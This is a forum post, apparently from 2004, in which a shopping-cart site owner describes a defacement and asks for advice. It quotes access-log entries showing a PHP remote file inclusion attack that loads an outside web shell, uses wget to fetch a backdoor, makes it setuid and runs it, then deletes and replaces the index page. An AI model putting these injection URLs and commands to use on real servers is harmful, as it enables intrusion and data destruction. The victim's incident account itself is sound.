A large shopping cart site we made was hacked on friday and the message "Ir4dex Ownz you" was put up. The hackers seemed to have exploited PHP by including a script of their own that somehow allows shell-like access using the address bar.
I investigated the access logs and found these entries which exploit PHP to allow for a virtual shell access:
200.217.114.221 - - [22/May/2004:20:13:16 -0500] "GET /catalog/includes/include_once.php?include_file=http://www.maedoadonai.hpg.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://portaldotiao.8bit.co.uk/backdoor/cgi;cd%20/tmp;chmod%204777%20cgi;cd%20/tmp;./cgi
200.217.114.221 - - [22/May/2004:20:16:34 -0500] "GET /catalog/includes/include_once.php?include_file=http://www.maedoadonai.hpg.com.br/cmd.txt?&cmd=cd%20/home/levinej/public_html;rm%20index.html;cd%20/home/levinej/public_html;echo%20Ir4dex%20ownz%20you%20>%20index.txt;cd%20/home/levinej/public_html;mv%20index.txt%20index.html
That entry along with previous one's make permanent changes to the server uses the script it calls from their website -- which is parsed by my website using the include. In that one statement they do an a RM a MV and an echo -- literally erasing my index file and replacing it with their message. In ones preceding it they do chmods, literally making readable everyfile on the public_html directory.
I fussed around with their script (http://www.maedoadonai.hpg.com.br/cmd.txt) and was able to duplicate their command sends, performing an LS and seeing the directories. My jaw dropped -- you don't even need the server password evidently with their app 'CMD - System Comand'?!
I also googled the phrase ""Ir4dex Ownz you" and discovered these guys are popular.
I'm hesitant to put the site back up thinking they might exploit it further consdering it is a shoping cart site with a confidential dbase.
Any suggestions, comments, etc? I don't know how to proceed.
Thanks.